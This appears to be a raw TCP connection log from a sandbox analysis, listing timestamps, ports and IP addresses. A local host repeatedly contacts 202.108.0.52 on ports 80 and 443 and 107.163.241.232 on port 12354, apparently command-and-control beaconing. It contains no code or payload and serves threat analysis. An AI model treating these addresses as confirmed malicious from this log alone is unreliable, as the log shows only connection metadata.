Dec 11, 2024 16:27:17.806008101 CET	443	49748	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:17.806337118 CET	49748	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:17.806804895 CET	443	49748	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:17.806868076 CET	49748	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:17.810314894 CET	49748	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:17.810391903 CET	443	49748	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:17.810595989 CET	443	49748	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:17.810645103 CET	49748	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:17.810724974 CET	49748	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:17.922019005 CET	50789	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:17.922224998 CET	65173	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:18.043042898 CET	80	50789	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:18.043154955 CET	50789	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:18.043440104 CET	80	65173	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:18.043590069 CET	65173	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:18.043634892 CET	50789	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:18.155236959 CET	49941	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:18.155580997 CET	49778	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:18.155612946 CET	50789	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:18.156507969 CET	50909	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:18.162981033 CET	80	50789	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:18.163059950 CET	50789	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:18.276309967 CET	12354	50909	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:18.276402950 CET	50909	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:18.346874952 CET	50909	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:18.359256983 CET	50940	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:18.359519005 CET	50941	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:18.466813087 CET	12354	50909	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:18.479346991 CET	12354	50940	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:18.479429960 CET	50940	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:18.479578018 CET	80	50941	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:18.479645014 CET	50941	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:18.479861975 CET	50940	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:18.480046988 CET	50941	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:18.599395037 CET	12354	50940	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:18.599443913 CET	80	50941	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:20.040736914 CET	80	50941	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:20.040816069 CET	50941	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:20.045324087 CET	52665	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:20.045373917 CET	443	52665	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:20.045488119 CET	52665	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:20.046305895 CET	52665	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:20.046319962 CET	443	52665	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:20.403445005 CET	12354	50909	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:20.403527975 CET	50909	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:20.403894901 CET	50909	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:20.404808044 CET	52883	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:20.524050951 CET	12354	50909	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:20.525322914 CET	12354	52883	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:20.525393963 CET	52883	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:20.526654959 CET	52883	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:20.594640970 CET	12354	50940	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:20.594774961 CET	50940	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:20.595320940 CET	50940	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:20.595751047 CET	53079	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:20.645884991 CET	12354	52883	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:20.715888977 CET	12354	50940	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:20.715919018 CET	12354	53079	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:20.715984106 CET	53079	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:20.720078945 CET	53079	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:20.839818954 CET	12354	53079	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:21.738954067 CET	443	52665	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:21.739070892 CET	52665	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:21.739748955 CET	443	52665	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:21.739820004 CET	52665	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:21.744010925 CET	52665	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:21.744091034 CET	443	52665	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:21.744148016 CET	52665	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:21.861171007 CET	50941	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:21.862598896 CET	54223	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:21.982388020 CET	80	50941	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:21.982480049 CET	50941	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:21.984576941 CET	80	54223	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:21.984682083 CET	54223	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:21.984944105 CET	54223	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:22.104217052 CET	80	54223	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:22.361344099 CET	53079	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:22.361485004 CET	52883	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:22.363300085 CET	54223	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:22.481630087 CET	54630	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:22.483007908 CET	54632	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:22.497751951 CET	54647	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:22.601203918 CET	80	54630	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:22.601291895 CET	54630	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:22.601758003 CET	54630	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:22.602633953 CET	12354	54632	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:22.602725029 CET	54632	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:22.603682041 CET	54632	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:22.617732048 CET	12354	54647	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:22.617835045 CET	54647	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:22.618379116 CET	54647	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:22.721636057 CET	80	54630	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:22.723726034 CET	12354	54632	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:22.738390923 CET	12354	54647	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:24.166593075 CET	80	54630	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:24.166676998 CET	54630	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:24.171778917 CET	56120	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:24.171838045 CET	443	56120	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:24.171895027 CET	56120	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:24.172312975 CET	56120	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:24.172337055 CET	443	56120	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:24.722141027 CET	12354	54632	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:24.722317934 CET	54632	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:24.723155022 CET	54632	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:24.723330975 CET	56499	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:24.736985922 CET	12354	54647	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:24.737087011 CET	54647	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:24.737637043 CET	54647	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:24.842624903 CET	12354	54632	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:24.842823982 CET	12354	56499	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:24.843261957 CET	56499	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:24.844077110 CET	56499	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:24.845607996 CET	56578	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:24.857203960 CET	12354	54647	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:24.964389086 CET	12354	56499	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:24.964972973 CET	12354	56578	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:24.965204954 CET	56578	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:24.965456009 CET	56578	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:25.085499048 CET	12354	56578	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:25.869568110 CET	443	56120	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:25.869636059 CET	56120	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:25.870440960 CET	443	56120	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:25.870497942 CET	56120	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:25.873814106 CET	56120	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:25.873868942 CET	443	56120	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:25.873919010 CET	56120	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:25.982763052 CET	54630	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:25.983139992 CET	57481	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:26.102735043 CET	80	57481	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:26.102816105 CET	80	54630	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:26.102835894 CET	57481	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:26.102873087 CET	54630	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:26.107496977 CET	57481	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:26.226821899 CET	80	57481	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:26.488127947 CET	57481	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:26.488187075 CET	56578	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:26.488329887 CET	56499	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:26.489347935 CET	57853	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:26.608726025 CET	12354	57853	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:26.608810902 CET	57853	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:26.610502958 CET	57853	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:26.615216970 CET	57918	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:26.616533041 CET	57919	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:26.730925083 CET	12354	57853	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:26.736171961 CET	12354	57918	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:26.736186981 CET	80	57919	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:26.736265898 CET	57918	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:26.736304045 CET	57919	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:26.736854076 CET	57918	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:26.736959934 CET	57919	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:26.856234074 CET	12354	57918	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:26.856450081 CET	80	57919	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:28.305185080 CET	80	57919	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:28.305241108 CET	57919	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:28.333163023 CET	58943	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:28.333209991 CET	443	58943	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:28.333328962 CET	58943	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:28.333869934 CET	58943	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:28.333913088 CET	443	58943	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:28.906236887 CET	12354	57853	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:28.906358004 CET	57853	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:28.906668901 CET	12354	57918	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:28.910305977 CET	57918	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:29.039707899 CET	57853	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:29.040329933 CET	59080	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:29.044693947 CET	57918	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:29.159305096 CET	12354	57853	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:29.159827948 CET	12354	59080	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:29.160463095 CET	59080	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:29.163957119 CET	12354	57918	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:29.189845085 CET	59080	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:29.309715033 CET	12354	59080	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:29.325711012 CET	59082	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:29.445566893 CET	12354	59082	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:29.445647955 CET	59082	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:29.446361065 CET	59082	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:29.567193985 CET	12354	59082	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:30.021023035 CET	443	58943	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:30.021090984 CET	58943	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:30.021812916 CET	443	58943	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:30.021861076 CET	58943	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:30.025486946 CET	58943	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:30.025583029 CET	443	58943	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:30.025681019 CET	58943	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:30.137648106 CET	57919	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:30.137916088 CET	59691	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:30.257461071 CET	80	59691	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:30.257487059 CET	80	57919	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:30.257538080 CET	59691	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:30.257574081 CET	57919	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:30.263550997 CET	59691	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:30.386248112 CET	80	59691	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:30.644850016 CET	59082	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:30.644850016 CET	59080	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:30.644905090 CET	59691	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:30.645966053 CET	60079	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:30.765919924 CET	60225	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:30.766814947 CET	60227	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:30.766930103 CET	12354	60079	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:30.767079115 CET	60079	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:30.767363071 CET	60079	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:30.885505915 CET	80	60225	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:30.885586977 CET	60225	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:30.886140108 CET	12354	60227	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:30.886204004 CET	60227	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:30.886857986 CET	60225	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:30.887018919 CET	12354	60079	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:30.887260914 CET	60227	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:31.008361101 CET	80	60225	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:31.008377075 CET	12354	60227	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:32.472419024 CET	80	60225	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:32.472498894 CET	60225	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:32.483196974 CET	60788	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:32.483247995 CET	443	60788	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:32.483325005 CET	60788	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:32.483858109 CET	60788	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:32.483871937 CET	443	60788	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:32.880194902 CET	12354	60079	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:32.880264997 CET	60079	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:32.880980015 CET	60079	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:32.881455898 CET	61240	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:33.001537085 CET	12354	60079	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:33.002099991 CET	12354	61240	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:33.002161026 CET	61240	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:33.003000975 CET	12354	60227	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:33.003061056 CET	60227	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:33.007056952 CET	61240	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:33.007114887 CET	60227	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:33.007492065 CET	61332	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:33.126657963 CET	12354	61240	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:33.126677990 CET	12354	60227	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:33.127055883 CET	12354	61332	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:33.127125025 CET	61332	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:33.127609015 CET	61332	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:33.246856928 CET	12354	61332	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:34.171530008 CET	443	60788	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:34.171624899 CET	60788	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:34.172317028 CET	443	60788	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:34.172513008 CET	60788	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:34.175736904 CET	60788	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:34.175786972 CET	443	60788	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:34.175920963 CET	443	60788	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:34.175971031 CET	60788	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:34.175990105 CET	60788	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:34.295008898 CET	60225	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:34.298785925 CET	62571	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:34.414936066 CET	80	60225	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:34.415246010 CET	60225	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:34.418116093 CET	80	62571	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:34.418459892 CET	62571	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:34.458663940 CET	62571	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:34.578011990 CET	80	62571	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:34.878143072 CET	61240	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:34.882294893 CET	62571	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:34.882344007 CET	61332	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:34.990134954 CET	62610	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:35.109494925 CET	12354	62610	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:35.112421989 CET	62610	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:35.234143019 CET	62610	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:35.291704893 CET	62612	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:35.292412043 CET	62613	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:35.353882074 CET	12354	62610	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:35.411125898 CET	80	62612	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:35.411334991 CET	62612	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:35.411649942 CET	62612	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:35.411967039 CET	12354	62613	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:35.412040949 CET	62613	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:35.412684917 CET	62613	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:35.531153917 CET	80	62612	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:35.532165051 CET	12354	62613	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:36.995332956 CET	80	62612	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:36.995508909 CET	62612	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:36.998613119 CET	64219	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:36.998648882 CET	443	64219	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:36.998919010 CET	64219	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:36.999759912 CET	64219	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:36.999773026 CET	443	64219	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:37.224697113 CET	12354	62610	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:37.224816084 CET	62610	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:37.225493908 CET	62610	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:37.226006985 CET	64462	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:37.506880999 CET	12354	62610	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:37.506997108 CET	12354	64462	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:37.507074118 CET	64462	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:37.507642031 CET	64462	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:37.537146091 CET	12354	62613	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:37.537220955 CET	62613	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:37.537533045 CET	62613	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:37.537842035 CET	64627	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:37.723474979 CET	12354	64462	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:37.724400043 CET	12354	62613	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:37.724406004 CET	12354	64627	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:37.724514008 CET	64627	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:37.724898100 CET	64627	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:37.849337101 CET	12354	64627	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:38.696712971 CET	443	64219	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:38.696845055 CET	64219	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:38.697494030 CET	443	64219	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:38.699332952 CET	64219	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:38.704448938 CET	64219	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:38.704479933 CET	443	64219	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:38.704602003 CET	443	64219	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:38.704736948 CET	64219	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:38.705995083 CET	64219	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:38.810995102 CET	62612	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:38.811386108 CET	65486	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:38.933717012 CET	80	65486	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:38.933784008 CET	65486	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:38.934273005 CET	65486	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:38.936779976 CET	80	62612	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:38.937109947 CET	62612	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:39.054023027 CET	80	65486	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:39.245786905 CET	65486	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:39.245796919 CET	64627	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:39.245831013 CET	64462	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:39.246975899 CET	49506	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:39.369024992 CET	12354	49506	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:39.369107962 CET	49506	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:39.395287991 CET	49592	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:39.395651102 CET	49593	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:39.395875931 CET	49506	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:39.514945030 CET	80	49592	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:39.515032053 CET	49592	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:39.515033960 CET	12354	49593	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:39.515080929 CET	49593	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:39.515120029 CET	12354	49506	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:39.550822973 CET	49592	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:39.550941944 CET	49593	12354	192.168.2.4	107.163.241.232
Dec 11, 2024 16:27:39.670101881 CET	80	49592	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:39.670171976 CET	12354	49593	107.163.241.232	192.168.2.4
Dec 11, 2024 16:27:41.094141960 CET	80	49592	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:41.094225883 CET	49592	80	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:41.097287893 CET	50153	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:41.097340107 CET	443	50153	202.108.0.52	192.168.2.4
Dec 11, 2024 16:27:41.097501993 CET	50153	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:41.098313093 CET	50153	443	192.168.2.4	202.108.0.52
Dec 11, 2024 16:27:41.098324060 CET	443	50153	202.108.0.52	192.168.2.4
